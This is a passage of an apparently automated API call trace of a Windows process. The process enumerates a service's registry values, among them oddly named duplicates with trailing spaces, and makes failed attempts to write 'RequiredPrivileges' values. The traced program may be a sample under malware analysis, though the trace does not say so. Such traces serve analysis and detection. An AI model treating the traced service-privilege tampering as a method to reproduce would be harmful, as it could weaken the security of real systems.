lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.202] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0227.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.204] RegQueryValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0227.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.204] RegQueryValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0227.205] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0227.205] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x1) returned 0x6 [0227.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0227.205] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0227.205] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.205] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0227.206] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0227.207] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0227.207] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0227.207] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0227.207] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0227.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0227.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0227.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0227.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0227.209] 